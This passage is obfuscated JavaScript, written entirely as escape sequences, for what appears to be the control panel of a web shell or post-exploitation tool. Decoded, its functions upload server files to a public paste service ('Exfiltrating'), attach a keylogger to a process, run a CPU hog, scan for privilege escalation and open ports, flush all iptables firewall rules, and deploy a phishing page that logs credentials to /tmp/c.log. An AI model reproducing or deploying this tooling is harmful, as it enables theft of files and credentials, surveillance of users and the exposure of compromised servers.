167\x69\154\154\40\x75\x70\x6c\x6f\141\144\x20\x74\x68\x65\40\143\x6f\x6e\164\145\x6e\x74\x20\x6f\146\40\x3c\x73\164\162\157\x6e\x67\x3e\x22\x24\x7b\160\x61\x74\150\x2e\x73\x70\x6c\x69\x74\50\x27\x2f\x27\51\56\x70\x6f\x70\x28\51\x7d\x22\74\x2f\x73\164\162\157\156\147\x3e\x20\x74\x6f\40\141\x20\x70\165\x62\x6c\151\x63\x20\160\141\x73\164\x69\156\x67\x20\x73\x65\162\166\x69\x63\x65\x2e\40\103\157\156\164\x69\x6e\x75\145\77\140\54\40\173\x20\x74\171\160\x65\72\x20\47\x77\x61\162\x6e\x69\x6e\x67\x27\40\x7d\51\x3b\x20\151\146\40\x28\x21\143\x6f\156\x66\151\162\x6d\145\144\51\40\x72\145\x74\165\162\156\73\x20\x74\150\x69\x73\x2e\x74\x6f\x61\163\164\x28\140\105\170\x66\151\x6c\x74\162\141\164\151\156\x67\x20\44\173\x70\x61\x74\150\x2e\163\x70\x6c\x69\x74\50\47\x2f\x27\51\x2e\x70\x6f\x70\50\51\175\56\x2e\x2e\140\x29\73\x20\x63\x6f\x6e\x73\164\40\x72\x65\x73\40\75\x20\141\167\x61\x69\164\x20\164\x68\151\x73\56\x61\x70\151\50\x27\x65\170\146\x69\x6c\137\x70\x61\x73\x74\x65\x27\54\x20\173\40\x70\141\164\x68\40\x7d\51\73\40\x69\x66\x20\x28\x72\145\x73\x20\x26\x26\x20\162\145\x73\56\163\164\x61\x74\x75\163\40\75\75\75\40\47\x73\165\x63\143\145\x73\x73\47\x29\x20\x7b\40\x61\x77\x61\x69\x74\40\164\150\x69\163\x2e\163\x68\157\x77\111\x6e\160\x75\x74\x4d\157\144\141\154\50\42\105\x78\x66\x69\154\x74\162\x61\x74\x69\157\156\x20\163\165\143\x63\x65\163\163\x66\x75\x6c\x21\x20\120\x61\x73\x74\x65\x20\x55\122\x4c\x3a\x22\54\x20\162\145\x73\x2e\x75\162\154\54\x20\173\x20\164\x69\x74\154\x65\x3a\40\47\342\x9c\205\40\x45\x78\x66\x69\x6c\x74\x72\x61\x74\x69\157\156\x20\103\x6f\155\x70\154\145\164\x65\x27\x2c\40\x69\143\157\156\x3a\40\x27\xe2\234\x85\x27\x2c\40\160\154\141\x63\x65\x68\x6f\154\144\145\x72\x3a\x20\x27\120\141\x73\x74\145\40\125\x52\114\56\56\56\x27\x20\x7d\51\73\x20\x7d\40\x7d\x2c\12\11\11\141\x73\x79\156\x63\40\x72\165\156\x43\x70\165\110\157\x67\x28\51\x20\x7b\40\x63\157\x6e\x73\164\40\144\165\162\141\164\x69\x6f\x6e\x20\x3d\40\x64\157\x63\165\155\145\x6e\x74\56\147\145\164\105\x6c\145\x6d\145\x6e\164\x42\171\x49\144\x28\x27\x68\x6f\147\x2d\144\165\x72\141\x74\151\x6f\156\x27\x29\56\166\141\x6c\165\145\x3b\x20\164\150\151\163\x2e\164\157\141\x73\164\x28\x60\x52\x75\156\156\151\156\147\x20\103\120\x55\40\x68\x6f\x67\40\x66\x6f\162\x20\44\173\x64\165\162\141\x74\151\157\156\x7d\40\163\145\143\157\x6e\144\x73\56\x2e\x2e\x60\54\x20\x27\163\165\143\x63\x65\x73\x73\47\51\73\40\143\x6f\x6e\163\164\x20\x72\x65\163\x20\75\40\x61\167\x61\x69\x74\40\164\x68\x69\x73\x2e\141\160\x69\x28\47\x63\x70\165\x5f\150\157\x67\x27\54\x20\x7b\x20\144\x75\162\x61\x74\x69\157\156\x20\x7d\51\x3b\40\x69\146\50\162\145\163\51\x20\x74\x68\151\163\x2e\164\x6f\141\163\164\50\162\x65\163\56\x6d\145\163\x73\x61\147\145\54\x20\162\145\x73\x2e\163\164\141\164\x75\163\x29\x3b\x20\x7d\x2c\12\11\11\141\163\x79\156\143\x20\x72\x75\x6e\x4b\x65\x79\x6c\x6f\147\x67\x65\162\x28\51\40\x7b\x20\x63\157\156\x73\x74\40\x70\x69\144\40\x3d\x20\x64\157\x63\x75\x6d\145\x6e\164\56\x67\145\x74\x45\154\145\x6d\145\x6e\x74\102\x79\111\x64\x28\47\153\145\171\x6c\x6f\147\x67\x65\162\x2d\160\151\144\47\51\56\166\141\154\165\145\73\x20\151\x66\x28\41\x70\151\x64\51\x20\162\x65\x74\x75\162\156\40\x74\x68\x69\x73\56\x74\157\141\x73\164\50\47\x50\111\104\x20\x69\163\x20\162\145\161\165\151\162\145\x64\x2e\x27\54\40\x27\145\162\162\x6f\162\47\51\x3b\40\x63\x6f\156\x73\164\x20\x6f\165\x74\160\165\x74\105\x6c\40\x3d\40\144\x6f\x63\165\x6d\x65\156\164\x2e\147\145\x74\x45\154\145\x6d\145\x6e\164\102\x79\x49\144\50\47\x6b\145\171\x6c\x6f\147\147\x65\162\x2d\x6f\165\164\160\x75\164\x27\51\73\x20\157\x75\x74\160\x75\164\105\x6c\56\x69\156\x6e\145\x72\124\145\x78\x74\x20\x3d\40\140\101\164\x74\141\143\x68\151\x6e\147\40\x74\x6f\x20\x50\111\104\x20\44\x7b\160\151\x64\175\56\56\x2e\x60\x3b\40\x63\x6f\x6e\x73\164\40\x72\x65\163\x20\x3d\x20\141\167\141\x69\164\40\164\150\x69\x73\x2e\141\x70\x69\x28\x27\153\145\x79\154\157\x67\x67\145\x72\47\54\x20\173\x20\160\x69\x64\40\x7d\x29\x3b\40\x69\146\x28\x72\145\x73\40\46\x26\40\x72\145\163\x2e\x73\164\141\164\x75\x73\x20\x3d\x3d\x3d\40\x27\163\x75\x63\143\x65\x73\x73\x27\51\x20\x6f\x75\164\160\x75\x74\105\x6c\56\x69\156\x6e\x65\162\x48\x54\x4d\114\x20\x3d\40\162\145\x73\56\x64\141\x74\x61\73\x20\145\154\163\145\x20\151\x66\40\50\162\x65\163\51\x20\157\165\x74\160\x75\164\x45\154\56\x69\156\156\145\162\124\x65\x78\164\x20\x3d\x20\162\145\163\x2e\155\x65\163\163\141\x67\x65\x3b\x20\x7d\x2c\12\x9\x9\x61\x73\171\156\143\40\162\x75\156\x50\x72\x69\x76\x65\x73\143\103\150\145\x63\153\x65\162\x28\51\x20\173\40\143\157\156\x73\164\40\x6f\x73\40\75\x20\x64\x6f\143\x75\155\145\x6e\164\56\147\x65\x74\105\154\145\x6d\145\156\x74\x42\171\x49\x64\50\47\160\x72\x69\x76\145\163\x63\55\157\x73\x2d\164\x79\160\x65\x27\x29\56\x76\141\154\x75\x65\x3b\40\x63\x6f\156\x73\x74\40\157\x75\164\160\165\164\x45\154\40\x3d\x20\x64\157\143\x75\155\x65\156\164\x2e\147\x65\x74\105\x6c\145\155\145\156\x74\x42\171\x49\x64\x28\x27\160\x72\151\166\x65\163\143\55\143\x68\x65\x63\153\x65\162\55\157\x75\x74\160\165\164\47\51\73\x20\x6f\x75\x74\x70\x75\x74\x45\x6c\x2e\x69\156\156\145\162\x54\x65\x78\164\x20\75\40\x27\123\164\141\162\164\151\x6e\x67\x20\x70\162\x69\166\151\154\x65\x67\145\x20\x65\163\x63\x61\x6c\x61\164\x69\x6f\156\40\163\x63\141\x6e\x2e\56\x2e\40\124\150\151\163\40\155\x61\171\x20\x74\141\x6b\x65\x20\163\145\x76\x65\x72\141\x6c\x20\155\x69\156\165\x74\x65\x73\x2e\47\x3b\x20\164\x68\x69\163\56\x74\157\141\163\164\x28\x27\123\164\x61\x72\x74\x69\x6e\147\x20\x50\x72\x69\x76\105\163\143\x20\x73\143\141\x6e\56\x2e\x2e\47\51\x3b\x20\x63\157\x6e\163\164\x20\x72\x65\x73\40\x3d\x20\x61\x77\141\151\164\40\x74\x68\151\163\x2e\x61\x70\151\x28\x27\x70\x72\151\166\x65\163\143\137\143\x68\x65\143\x6b\145\x72\x27\x2c\x20\x7b\x20\157\163\x20\x7d\x29\73\40\x69\x66\40\50\162\145\x73\40\x26\x26\x20\162\x65\x73\56\x73\x74\x61\164\x75\163\x20\75\75\x3d\x20\x27\163\x75\x63\143\145\x73\163\x27\51\x20\x7b\x20\x6f\x75\x74\160\165\164\105\x6c\56\151\156\156\145\162\110\124\115\114\40\x3d\x20\162\145\163\x2e\144\x61\164\141\73\40\x74\x68\151\163\x2e\164\x6f\x61\163\164\x28\47\120\162\151\166\105\163\143\x20\163\x63\141\156\40\x63\x6f\155\x70\154\145\x74\x65\56\47\x29\73\x20\175\40\x7d\x2c\12\x9\11\x61\x73\x79\x6e\143\40\x72\x75\x6e\123\x75\142\x6e\145\x74\x53\143\x61\156\156\145\x72\x28\51\40\x7b\x20\x63\157\156\163\x74\40\163\x75\x62\156\x65\164\40\75\x20\144\x6f\x63\165\x6d\x65\x6e\164\x2e\x67\145\164\x45\x6c\x65\155\145\x6e\x74\102\x79\x49\x64\x28\x27\x73\x75\142\x6e\x65\x74\55\x73\x63\141\156\55\x74\x61\162\147\145\164\47\x29\x2e\166\141\x6c\165\145\73\x20\x69\146\40\x28\41\x73\x75\x62\x6e\x65\x74\x29\40\162\x65\x74\165\162\x6e\x20\164\150\x69\x73\56\x74\x6f\141\x73\164\x28\47\x53\x75\x62\x6e\x65\x74\40\x69\163\x20\162\x65\161\x75\151\x72\x65\144\x2e\47\x2c\x20\x27\x65\x72\162\157\162\47\51\x3b\x20\x63\157\x6e\163\x74\40\157\165\x74\x70\165\164\105\x6c\40\x3d\40\144\x6f\143\x75\x6d\x65\156\x74\x2e\147\145\164\105\x6c\145\155\145\156\164\102\x79\111\x64\50\x27\x73\x75\x62\x6e\145\164\55\x73\143\141\x6e\55\x6f\x75\x74\160\165\164\x27\x29\73\40\x6f\165\164\160\165\164\x45\x6c\56\151\156\x6e\145\162\124\145\x78\x74\40\75\x20\x60\123\x63\x61\x6e\156\x69\x6e\147\40\x24\173\163\x75\x62\156\145\x74\175\56\x2e\56\40\x54\150\151\x73\40\x63\157\165\x6c\144\40\x74\x61\x6b\x65\x20\141\40\167\x68\x69\154\145\56\x60\73\x20\x74\150\x69\163\x2e\x74\157\141\x73\164\50\x60\x53\143\141\156\x6e\x69\156\147\x20\x24\173\163\x75\142\x6e\145\164\175\56\56\x2e\x60\51\73\40\143\x6f\x6e\x73\x74\40\x72\145\x73\x20\x3d\x20\x61\167\x61\151\x74\x20\x74\150\151\163\56\x61\160\x69\x28\47\x73\165\x62\156\x65\x74\137\x73\x63\x61\x6e\156\145\x72\47\x2c\x20\x7b\40\x73\x75\142\156\145\x74\x20\x7d\51\x3b\40\x69\x66\40\x28\x72\145\163\40\46\46\x20\162\x65\163\56\163\164\141\x74\x75\x73\40\x3d\x3d\x3d\x20\47\x73\x75\143\x63\x65\163\163\47\51\x20\173\40\x6c\145\164\40\164\x65\170\164\x20\75\40\140\x53\143\x61\x6e\40\162\145\x73\165\x6c\x74\163\x20\146\157\162\x20\44\x7b\x73\165\142\156\145\x74\x7d\72\134\x6e\x5c\x6e\140\73\40\151\146\40\50\x4f\142\152\145\x63\164\56\x6b\145\171\x73\x28\162\145\x73\x2e\x72\145\x73\165\154\164\163\51\56\x6c\145\156\147\164\150\40\x3e\x20\x30\x29\40\173\x20\146\157\x72\40\50\x63\x6f\156\163\164\x20\x5b\151\160\54\40\x70\x6f\x72\164\163\135\40\x6f\x66\40\x4f\x62\152\x65\x63\164\x2e\145\156\164\162\151\x65\x73\x28\162\x65\163\x2e\x72\145\x73\x75\x6c\164\x73\51\51\40\173\40\x74\145\170\164\40\53\75\40\x60\44\x7b\x69\160\x7d\134\164\117\x50\105\116\x3a\40\44\173\x70\x6f\162\164\163\x2e\152\x6f\x69\156\x28\x27\54\40\x27\x29\175\134\156\x60\x3b\40\175\x20\175\x20\x65\154\163\x65\40\173\x20\x74\145\x78\x74\40\53\75\40\x27\116\x6f\x20\154\151\166\145\40\150\157\163\x74\163\40\x77\x69\164\150\x20\x6f\x70\x65\156\40\160\157\x72\164\163\40\146\157\x75\x6e\x64\x2e\47\x3b\40\x7d\x20\157\165\x74\160\165\x74\105\x6c\x2e\151\156\156\145\x72\124\145\170\x74\x20\75\x20\x74\x65\170\x74\73\x20\164\150\x69\163\x2e\x74\x6f\141\163\x74\50\x27\123\x75\142\156\145\x74\x20\163\x63\x61\x6e\40\143\157\x6d\x70\154\x65\164\x65\x2e\47\x29\x3b\x20\175\40\175\54\xa\11\x9\141\x73\171\156\143\40\x76\x69\x65\167\x46\151\162\x65\167\x61\x6c\x6c\x52\x75\x6c\145\163\50\x29\40\x7b\40\x63\x6f\156\x73\164\x20\157\x75\x74\x70\165\164\105\154\x20\75\x20\x64\157\x63\165\155\145\156\164\56\x67\x65\164\105\154\x65\155\x65\x6e\164\102\171\111\x64\50\47\146\151\162\x65\167\141\154\154\55\157\x75\x74\160\x75\164\47\x29\73\40\x6f\x75\x74\160\165\x74\105\x6c\56\151\x6e\156\145\162\124\145\x78\164\x20\75\x20\x27\x46\145\164\x63\150\x69\156\x67\40\146\x69\162\x65\x77\141\154\x6c\x20\162\165\x6c\145\163\56\56\x2e\47\x3b\x20\143\157\x6e\x73\164\x20\x72\145\163\40\x3d\40\141\x77\x61\151\x74\x20\x74\x68\x69\x73\56\x61\160\x69\50\47\x66\x69\162\145\167\x61\154\154\x5f\x63\157\156\x74\162\157\x6c\47\x2c\40\x7b\x20\x73\165\x62\137\x61\143\x74\151\157\x6e\72\x20\x27\147\145\164\47\x20\175\x29\x3b\x20\151\146\40\50\162\145\x73\40\46\x26\40\162\145\163\x2e\163\164\x61\x74\165\163\40\x3d\75\x3d\x20\47\x73\165\x63\143\x65\163\163\x27\51\x20\157\165\164\x70\x75\164\x45\154\56\x69\156\x6e\145\x72\x48\124\115\114\40\75\x20\x72\x65\x73\x2e\x64\x61\164\x61\73\x20\x7d\54\12\x9\x9\x61\x73\x79\x6e\x63\x20\146\x6c\x75\163\150\106\x69\162\x65\x77\141\154\154\x52\165\154\145\163\50\x29\x20\173\x20\x63\157\x6e\163\x74\x20\x63\x6f\x6e\x66\x69\x72\x6d\x65\144\x20\x3d\40\141\x77\141\x69\164\40\164\150\x69\163\x2e\x73\150\157\167\x43\157\x6e\x66\x69\x72\155\115\x6f\x64\x61\154\x28\x27\104\x41\116\107\105\122\72\x20\x54\150\x69\163\40\167\151\x6c\x6c\x20\141\x74\x74\145\x6d\x70\x74\40\164\157\40\x66\x6c\165\x73\x68\40\x61\154\154\40\151\160\x74\x61\x62\x6c\x65\x73\x20\146\151\162\145\167\141\x6c\x6c\40\162\165\154\145\x73\56\40\x54\x68\151\x73\40\x63\157\165\x6c\x64\x20\145\x78\160\x6f\163\x65\40\x74\150\145\40\x73\145\x72\166\x65\162\40\x61\156\x64\x20\151\163\40\x61\x20\154\157\x75\x64\40\141\143\164\x69\x6f\156\56\x20\101\x72\x65\x20\x79\157\165\x20\163\165\162\x65\x3f\47\54\x20\173\x20\x74\171\160\x65\72\x20\x27\x64\x61\x6e\x67\145\x72\x27\54\40\157\x6b\124\x65\170\164\x3a\x20\47\106\154\165\x73\150\x20\x52\165\x6c\145\163\47\54\x20\143\x61\156\x63\x65\x6c\124\x65\170\164\x3a\40\47\103\x61\156\143\145\x6c\47\40\175\51\73\x20\x69\x66\x20\x28\143\x6f\x6e\146\x69\x72\x6d\x65\x64\51\40\173\x20\x63\157\156\x73\x74\x20\157\x75\164\160\165\164\105\154\x20\x3d\x20\x64\157\x63\x75\x6d\x65\156\x74\x2e\x67\145\164\105\x6c\145\155\145\x6e\164\102\x79\x49\144\x28\47\x66\x69\162\x65\x77\141\154\154\55\x6f\x75\x74\160\x75\x74\x27\51\x3b\x20\x6f\165\164\x70\165\x74\x45\x6c\56\x69\x6e\x6e\145\162\124\x65\170\164\x20\x3d\x20\x27\x53\x65\x6e\x64\151\156\x67\40\146\x6c\165\x73\150\40\x63\x6f\x6d\x6d\141\156\144\56\56\56\x27\73\40\x63\x6f\x6e\x73\x74\40\162\145\163\x20\x3d\40\x61\x77\x61\x69\164\x20\164\150\x69\x73\56\141\160\151\x28\47\x66\151\x72\145\x77\141\x6c\x6c\x5f\x63\x6f\156\x74\x72\157\x6c\x27\x2c\40\x7b\x20\163\165\142\137\x61\143\164\x69\157\156\72\40\x27\146\x6c\x75\163\150\x27\x20\x7d\51\73\40\x69\x66\40\x28\162\145\x73\x20\46\x26\40\x72\145\163\56\163\164\141\x74\x75\x73\40\75\75\x3d\40\x27\163\x75\143\143\145\x73\163\47\51\40\173\x20\x6f\165\x74\160\165\x74\x45\154\x2e\151\x6e\x6e\x65\162\x48\x54\x4d\114\x20\75\40\x72\x65\163\56\144\141\164\x61\x3b\x20\164\150\151\x73\56\x74\157\141\163\x74\50\47\106\x6c\165\x73\x68\40\143\157\155\x6d\141\156\144\40\163\145\156\x74\x2e\40\103\150\145\x63\153\40\x72\x75\154\145\x73\x20\141\147\x61\151\156\x20\164\x6f\40\x63\157\x6e\146\x69\x72\x6d\56\x27\x29\73\x20\175\40\175\40\x7d\x2c\12\11\11\x61\x73\171\156\143\x20\x64\x65\160\154\157\171\x50\150\151\163\150\151\156\147\120\141\x67\x65\50\51\40\x7b\40\x63\x6f\156\163\164\40\x70\x61\x74\150\40\x3d\40\144\x6f\143\x75\155\x65\156\164\x2e\147\145\x74\x45\154\145\x6d\145\156\x74\x42\171\x49\144\x28\x27\x70\150\151\163\150\x2d\144\x65\160\x6c\x6f\x79\55\x70\141\164\150\x27\51\56\166\x61\154\165\145\x2c\x20\146\151\154\145\156\141\155\145\40\x3d\x20\x64\x6f\143\x75\x6d\x65\156\x74\56\x67\x65\x74\x45\154\145\x6d\145\156\164\x42\171\x49\144\x28\x27\x70\x68\x69\163\150\x2d\x64\145\160\154\x6f\x79\55\146\x69\x6c\x65\x6e\141\155\145\x27\51\56\166\141\x6c\165\x65\x2c\40\x6f\165\164\x70\x75\x74\x45\154\x20\x3d\x20\x64\x6f\143\165\x6d\x65\156\x74\56\147\145\164\x45\154\x65\155\x65\x6e\164\102\171\111\x64\x28\x27\x70\150\x69\163\x68\55\144\145\x70\154\157\x79\55\157\165\164\160\x75\x74\x27\x29\x3b\x20\x69\x66\40\50\x21\160\x61\x74\x68\x20\174\x7c\40\x21\x66\151\154\x65\x6e\x61\155\145\x29\x20\x72\145\164\165\162\156\40\164\150\x69\x73\56\x74\157\141\x73\x74\x28\x27\120\141\164\150\40\x61\x6e\144\x20\146\x69\x6c\145\x6e\141\x6d\145\x20\x61\x72\145\40\x72\145\161\165\x69\x72\145\144\56\x27\x2c\40\x27\145\162\162\157\x72\47\51\73\40\x6f\x75\164\x70\165\x74\105\x6c\56\151\x6e\x6e\145\162\110\x54\115\x4c\40\75\x20\x27\74\x70\x3e\x44\x65\x70\154\157\171\151\x6e\x67\x2e\x2e\56\74\57\x70\76\47\73\40\143\x6f\x6e\x73\x74\40\162\145\163\x20\x3d\40\141\167\141\x69\164\x20\x74\x68\x69\x73\56\141\x70\151\x28\47\144\x65\x70\x6c\x6f\171\x5f\160\x68\151\x73\x68\x27\54\x20\x7b\x20\x70\x61\x74\x68\54\x20\146\x69\154\x65\x6e\x61\155\x65\40\175\51\x3b\x20\x69\x66\40\50\162\x65\x73\x20\x26\x26\x20\162\145\x73\56\x73\164\x61\x74\x75\163\x20\75\75\75\40\47\163\165\143\x63\x65\163\x73\x27\x29\x20\x7b\x20\157\x75\x74\160\165\164\105\x6c\x2e\151\156\156\145\162\110\x54\x4d\114\x20\x3d\x20\140\74\x70\x20\163\x74\x79\154\145\75\42\x63\157\154\x6f\162\72\166\x61\162\x28\x2d\55\x61\x63\143\145\x6e\x74\55\x67\x72\x65\x65\156\x29\x3b\x22\x3e\x24\x7b\162\x65\163\56\155\x65\x73\x73\x61\147\x65\x7d\x3c\142\162\x3e\x55\122\x4c\72\x20\x3c\x61\x20\150\162\x65\x66\75\42\x24\173\x72\145\x73\x2e\165\x72\x6c\x7d\x22\x20\x74\141\x72\x67\145\x74\x3d\42\137\142\154\141\156\x6b\x22\x20\163\x74\171\154\x65\x3d\42\x63\x6f\x6c\157\162\x3a\x76\141\x72\50\55\x2d\141\x63\143\145\x6e\x74\x2d\142\x6c\165\x65\x29\x3b\x22\x3e\44\x7b\162\x65\163\x2e\165\x72\154\175\x3c\57\141\76\74\x2f\x70\x3e\x3c\x70\76\x43\x72\145\x64\x65\x6e\x74\x69\x61\154\163\x20\x77\x69\154\154\x20\x62\145\40\154\157\x67\147\x65\144\40\164\x6f\x20\x3c\163\x74\x72\x6f\x6e\x67\76\57\164\155\x70\x2f\x63\x2e\154\157\x67\74\57\x73\164\162\157\x6e\147\76\x20\x6f\156\40\164\150\145\40\x73\x65\162\166\145\x72\56\74\57\160\76\x60\73\x20\x7d\40\x65\154\x73\145\40\173\x20\157\x75\164\160\x75\x74\x45\154\56\x69\156\x6e\145\x72\110\124\x4d\x4c\x20\75\x20\140\x3c\x70\x20\163\x74\171\154\x65\x3d\x22\143\x6f\154\x6f\x72\x3a\166\x61\162\50\x2d\55\141\x63\143\145\156\x74\x2d\162\145\x64\x29\x3b\x22\76\x44\145\x70\x6c\157\171\155\x65\x6e\x74\x20\146\x61\x69\x6c\x65\x64\56\x3c\x2f\160\76\x60\73\40\175\40\175\x2c\xa\x9\11\12\x9\x9\57\57\40\116\157\164\151\146\x69\x63\141\x74\151\x6f\x6e\x20\x43\x65\156\x74\145\x72\xa\x9\11\156\x6f\x74\151\x66\151\143\141\164\151\x6f\x6e\x73\x3a\x20\133\x5d\54\12\11\11\141\x64\x64\116\x6f\164\x69\x66\151\x63\x61\x74\151\157\x6e\x28\164\x69\x74\154\x65\54\x20\x6d\x65\x73\x73\x61\x67\x65\54\40\x74\171\x70\x65\40\75\x20\x27\151\x6e\146\x6f\47\51\40\x7b\12\11\x9\11\x63\x6f\156\x73\x74\x20\156\157\164\x69\146\151\143\x61\x74\x69\x6f\156\40\x3d\40\x7b\40\x69\144\72\x20\104\x61\164\x65\56\156\x6f\x77\x28\x29\54\40\164\x69\x74\x6c\x65\x2c\x20\155\x65\163\163\141\x67\145\x2c\40\x74\171\x70\x65\54\40\x74\x69\x6d\x65\x3a\x20\156\145\167\40\x44\141\164\145\x28\51\x2e\164\157\x4c\x6f\x63\x61\x6c\145\124\151\155\x65\x53\x74\162\151\x6e\x67\50\x29\x20\x7d\x3b\12\11\11\11\164\x68\151\163\x2e\156\x6f\164\x69\146\151\x63\x61\164\x69\157\x6e\163\x2e\165\x6e\163\x68\151\x66\x74\50\156\x6f\164\151\x66\151\143\x61\164\151\x6f\x6e\x29\73\12\11\11\x9\x74\x68\151\x73\56\165\x70\144\x61\x74\145\x4e\157\164\151\x66\x69\143\x61\164\151\x6f\x6e\102\141\144\147\x65\x28\x29\x3b\xa\x9\x9\x9\164\x68\x69\x73\x2e\162\145\x6e\x64\145\162\116\157\164\151\146\x69\x63\x61\164\151\157\156\x73\50\51\x3b\xa\11\x9\x9\164\150\151\163\56\x74\157\141\x73\x74\x28\x6d\145\163\x73\141\x67\x65\x2c\40\x74\171\x70\x65\40\75\75\75\x20\x27\145\162\162\157\x72\x27\x20\x3f\x20\x27\145\162\x72\157\162\47\40\x3a\x20\x27\163\x75\143\143\145\x73\x73\x27\51\x3b\12\x9\11\x7d\x2c\12\x9\x9\162\x65\x6d\x6f\166\x65\116\157\164\x69\x66\151\x63\141\164\x69\x6f\156\x28\x69\144\x29\x20\173\xa\11\11\x9\x74\150\x69\x73\x2e\156\157\x74\151\146\151\143\141\164\x69\157\156\163\x20\75\x20\x74\x68\151\163\56\x6e\157\x74\151\x66\x69\x63\x61\x74\x69\x6f\x6e\163\56\146\151\154\164\145\x72\50\156\x20\x3d\x3e\x20\x6e\56\151\x64\40\x21\x3d\75\x20\151\144\51\73\12\x9\x9\11\164\150\x69\163\x2e\x75\160\x64\x61\x74\145\x4e\x6f\x74\x69\x66\151\143\x61\164\151\157\156\x42\x61\144\147\145\50\x29\x3b\xa\11\x9\11\x74\150\x69\163\56\x72\145\x6e\x64\145\x72\x4e\157\164\x69\146\151\x63\x61\x74\x69\157\156\163\50\x29\x3b\12\x9\x9\175\54\12\11\x9\143\154\x65\141\162\x41\154\x6c\x4e\x6f\164\x69\x66\151\x63\141\x74\151\157\x6e\163\x28\x29\40\x7b\xa\x9\x9\x9\164\x68\x69\163\56\x6e\157\x74\151\146\x69\143\141\x74\151\x6f\156\x73\40\75\40\133\x5d\73\12\11\x9\x9\x74\150\x69\x73\56\x75\x70\144\141\x74\145\116\x6f\x74\x69\146\151\143\141\164\151\x6f\x6e\x42\x61\x64\x67\145\x28\51\x3b\12\x9\11\x9\164\150\151\163\x2e\162\x65\x6e\x64\x65\162\116\x6f\164\151\146\x69\143\x61\164\151\157\x6e\163\50\51\x3b\xa\x9\11\175\54\12\x9\11\165\160\x64\x61\164\145\116\157\164\x69\146\151\143\141\x74\151\157\x6e\102\x61\x64\x67\x65\x28\51\40\x7b\xa\x9\11\11\143\157\156\x73\164\x20\142\141\144\147\x65\40\75\40\x64\x6f\143\x75\x6d\145\x6e\164\x2e\x67\145\x74\105\154\x65\155\x65\156\x74\x42\171\x49\x64\x28\x27\x6e\x6f\x74\151\x66\151\143\141\x74\151\x6f\x6e\x2d\x62\141\144\x67\x65\x27\x29\x3b\12\x9\x9\11\151\146\x20\50\142\141\144\x67\145\51\40\x7b\12\11\x9\x9\x9\x63\157\156\x73\x74\40\143\157\165\x6e\164\x20\x3d\x20\164\x68\x69\x73\x2e\156\x6f\164\x69\146\x69\143\141\x74\x69\157\156\x73\x2e\154\145\x6e\147\164\x68\73\xa\11\11\x9\x9\x62\141\144\147\145\56\164\x65\x78\x74\103\x6f\156\x74\145\156\164\x20\75\x20\143\x6f\165\156\x74\73\xa\11\x9\x9\11\x62\x61\144\147\x65\56\163\x74\x79\154\145\x2e\x64\x69\163\160\154\x61\x79\x20\75\40\143\x6f\x75\x6e\164\40\x3e\40\x30\40\x3f\x20\47\146\154\145\170\x27\x20\x3a\40\47\x6e\157\x6e\x65\47\73\12\x9\x9\11\175\12\x9\11\175\54\xa\x9\11\162\145\156\x64\x65\x72\x4e\157\164\x69\x66\x69\x63\141\x74\151\x6f\x6e\163\50\51\x20\x7b\xa\11\x9\x9\x63\157\x6e\163\x74\x20\x63\157\156\x74\x61\151\156\x65\162\40\x3d\40\x64\157\143\x75\x6d\145\156\x74\56\x67\145\x74\105\154\x65\x6d\145\156\x74\102\x79\111\144\50\47\x6e\x6f\164\151\x66\x69\143\141\x74\151\x6f\156\163\x2d\x6c\151\163\164\x27\51\73\xa\x9\11\x9\x69\x66\x20\50\41\143\157\x6e\164\141\x69\x6e\x65\x72\x29\40\162\145\164\165\x72\156\73\12\x9\11\x9\x69\x66\x20\x28\164\150\x69\x73\56\156\157\x74\x69\146\x69\143\141\164\151\157\156\x73\x2e\154\x65\156\147\x74\x68\x20\x3d\75\75\x20\x30\x29\40\x7b\xa\x9\11\x9\x9\x63\x6f\x6e\x74\x61\x69\156\x65\162\x2e\x69\156\156\x65\162\110\124\115\x4c\40\75\x20\47\74\x70\x20\163\x74\171\154\x65\x3d\42\x63\157\x6c\157\x72\x3a\x76\x61\162\50\55\55\164\145\170\164\55\x6d\x65\144\51\73\x20\164\145\170\164\55\x61\154\151\147\156\x3a\143\x65\x6e\164\x65\162\73\40\x70\141\144\144\x69\x6e\x67\72\x32\162\x65\155\x3b\42\x3e\x4e\157\x20\x6e\x6f\164\x69\x66\151\x63\141\x74\x69\x6f\x6e\x73\x3c\57\x70\76\x27\73\12\11\11\11\x9\x72\145\x74\165\x72\x6e\73\xa\11\x9\x9\x7d\xa\x9\x9\11\x63\157\x6e\164\141\x69\x6e\145\x72\x2e\x69\156\156\x65\x72\110\x54\x4d\114\40\x3d\x20\x74\150\151\x73\56\x6e\157\164\151\146\x69\x63\141\164\151\x6f\x6e\163\x2e\155\x61\160\x28\x6e\x20\x3d\76\40\140\xa\11\11\x9\x9\x3c\x64\x69\166\40\x63\154\x61\x73\163\x3d\x22\156\157\x74\151\x66\151\x63\x61\x74\151\157\x6e\x2d\x69\164\145\155\40\x24\x7b\x6e\56\164\x79\x70\x65\175\42\76\12\11\x9\x9\x9\11\74\x64\151\166\40\143\x6c\141\163\x73\x3d\x22\156\157\164\151\x66\x69\143\141\x74\x69\x6f\156\55\143\157\x6e\x74\145\156\164\x22\x3e\12\x9\x9\x9\11\11\x9\x3c\x64\x69\166\x20\143\x6c\x61\163\163\x3d\x22\x6e\x6f\164\151\146\151\x63\x61\164\151\157\x6e\x2d\164\151\164\154\145\x22\x3e\x24\x7b\156\56\164\151\x74\x6c\x65\x7d\74\x2f\144\x69\x76\76\xa\x9\x9\11\x9\x9\x9\x3c\x64\x69\x76\x20\143\154\x61\x73\163\x3d\x22\x6e\157\x74\x69\146\x69\x63\x61\164\151\x6f\x6e\x2d\155\x65\x73\163\x61\147\x65\42\x3e\44\173\x6e\x2e\155\x65\163\x73\x61\x67\x65\x7d\74\x2f\x64\151\x76\76\12\11\x9\11\x9\11\11\74\144\151\x76\x20\x63\154\x61\x73\x73\75\x22\x6e\x6f\x74\x69\146\151\x63\141\x74\151\157\156\55\164\x69\x6d\x65\x22\76\x24\173\156\56\x74\151\x6d\145\x7d\x3c\x2f\x64\151\x76\x3e\xa\x9\x9\11\11\x9\74\x2f\x64\x69\x76\x3e\xa\11\x9\11\x9\11\74\163\x70\x61\156\x20\143\x6c\141\163\163\x3d\42\x6e\x6f\x74\x69\146\x69\x63\141\x74\x69\157\156\x2d\143\154\x6f\163\x65\x22\40\x6f\x6e\x63\x6c\x69\x63\153\75\x22\101\x70\160\x2e\x72\x65\155\x6f\x76\x65\x4e\157\164\151\x66\151\143\x61\164\151\157\156\x28\44\173\156\56\151\x64\x7d\51\42\x3e\46\x74\x69\155\x65\163\x3b\74\57\x73\160\141\156\x3e\xa\x9\x9\x9\11\x3c